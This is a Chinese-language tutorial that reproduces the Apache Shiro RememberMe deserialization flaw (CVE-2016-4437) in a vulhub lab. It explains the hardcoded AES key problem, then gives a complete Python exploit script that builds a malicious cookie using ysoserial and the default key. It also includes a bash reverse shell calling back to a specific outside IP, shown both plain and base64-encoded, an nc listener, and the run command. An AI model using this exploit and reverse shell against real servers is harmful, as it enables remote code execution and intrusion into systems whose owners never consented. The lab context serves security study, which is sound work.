CVE-2016-4437 Apache Shiro反序列化漏洞复现

1. 简介

1.1 Apache Shiro

Apache Shiro(简称 Shiro)是一个功能强大且易于使用的 Java 安全框架,用于身份验证、授权和加密等安全功能。它提供了一套统一的安全API,可以轻松地集成到Java应用程序中。

Shiro 的主要功能包括:

  1. 身份验证:Shiro 可以处理用户身份验证,支持各种常见的认证方式,如用户名/密码、LDAP、OAuth 等。它还提供了许多可插拔的身份验证 Realm,可以根据自己的需求进行定制。

  2. 授权:Shiro 提供了基于角色和权限的授权机制。您可以定义角色和权限,并在代码中进行简单的注解或编程式授权。Shiro 还支持细粒度的权限控制,可以对单个资源进行授权。

  3. 会话管理:Shiro 可以管理用户会话,支持不同的会话存储方式,如内存、数据库、Redis 等。它提供了会话管理和集群环境下的会话共享功能。

  4. 密码加密:Shiro 提供了对密码进行加密和散列的功能,可以确保用户密码的安全性。

  5. Web集成:Shiro 提供了与 Java Web 技术的无缝集成,支持常见的 Web 框架,如Spring MVC、Struts等。

1.2 工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 ---> Base64解密 ---> ASE解密 --> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

复制代码
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

1.3 漏洞描述

漏洞 说明
受影响版本 Apache Shiro <= 1.2.4
漏洞名称 Apache Shiro 1.2.4 反序列化漏洞,即shiro-550反序列化漏洞。
漏洞编号 CVE-2016-4437
危害等级 高危
漏洞类型 RCE

Shiro550 反序列化漏洞原理:

  • 记住我的功能开启之后,会有Cookie 数据,Cookie 数据其实就是加密后的经过序列化的用户对象,也就是二进制字节流。

  • 加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

2.漏洞复现

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

2.1 搭建环境

使用vulhub进行环境搭建,cd/vulhub/shiro/CVE-2016-4437执行docker compose up -d启动漏洞环境

访问ip/8080,如下环境搭建成功

2.2 判断框架

勾选RememberMe字段,输入任意账号与密码,点击登录,返回包set-Cookie会有rememberMe=deleteMe字段,说明使用了shiro框架

2.3 漏洞验证

  1. 生成反弹 Shell 命令

由于 Java 的 Runtime.exec() 无法直接解析 |> 等管道符,我们需要对 Bash 命令进行 Base64 编码。

原始命令: bash -i >& /dev/tcp/8.146.204.157/4444 0>&1

编码处理: 建议使用在线工具或以下方式转换,确保命令如下: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

  1. 使用脚本生成恶意 Cookie

我们需要一个 Python 脚本来完成以下工作:

生成playload脚本代码:(exp.py

|---------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ​​​​​​​ | import sys import uuid import base64 import subprocess from Crypto.Cipher import AES # 配置信息 JAR_PATH = 'ysoserial.jar' # 确保同目录下有这个文件 KEY = "kPH+bIxk5D2deZiIxcaaaA==" # Shiro 默认 Key def get_payload(gadget, command): # 调用 ysoserial 生成原始序列化字节 cmd = 'java', '-jar', JAR_PATH, gadget, command return subprocess.check_output(cmd) def encrypt(payload): # Shiro 固有的加密逻辑:AES-CBC 模式 key = base64.b64decode(KEY) iv = uuid.uuid4().bytes # PKCS7 Padding BS = AES.block_size pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(payload)) return base64.b64encode(iv + ciphertext) if name == 'main': if len(sys.argv) < 3: print("Usage: python3 shiro_exp.py <Gadget> <Command>") print("Example: python3 shiro_exp.py CommonsCollections2 'touch /tmp/success'") sys.exit(0) gadget_name = sys.argv1 cmd_to_exec = sys.argv2 final_cookie = encrypt(get_payload(gadget_name, cmd_to_exec)) print("\n+ 复制以下 Cookie 到请求头的 rememberMe 字段:\n") print(final_cookie.decode()) |

3.监听4444端口

nc -lvvp 4444

4.运行脚本生成 Cookie:

python3 exp.py CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

5.抓包将生成的cookie前往bp替换然后重新发包

6.成功接收反弹shell

2.4使用jar自动化工具

相较于上面的python脚本,图形化工具操作起来更加的简单

输入url然后点击检测当前秘钥就会看到提示存在shiro框架

然后点击爆破就会出来

然后点击检测

再点击爆破利用链

最后在命令执行处直接执行命令成功

3.修复建议

1、升级Apache Shiro

2、部署安全产品

相关推荐
IPHWT 零软网络2 小时前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术
信息安全失业大专人员8 小时前
HTTP/HTTPS 协议精髓与 WAF(Web 应用防火墙)架构防线大底座
web安全·http·信息安全·https·企业信息安全
сокол10 小时前
【网安-Web渗透测试-免杀系列】内存免杀(无文件落地)
windows·网络安全
心 一11 小时前
Lonkero Web安全扫描器:从安装到实战的完整指南
安全·web安全
学习溢出12 小时前
【网络安全】追踪PowerShell命令历史
安全·网络安全
Sombra_Olivia13 小时前
Vulhub 中的 cmsms CVE-2019-9053 & CVE-2021-26120
安全·web安全·网络安全·渗透测试·vulhub
数字护盾(和中)13 小时前
攻击链识别:企业抵御快攻型勒索攻击的关键能力
网络·安全·web安全
叶半欲缺14 小时前
软考-中级信息安全工程师全战备资源包介绍和分享
网络·web安全
爱搬砖的狮子14 小时前
【网络安全】初识Burp Suite
安全·web安全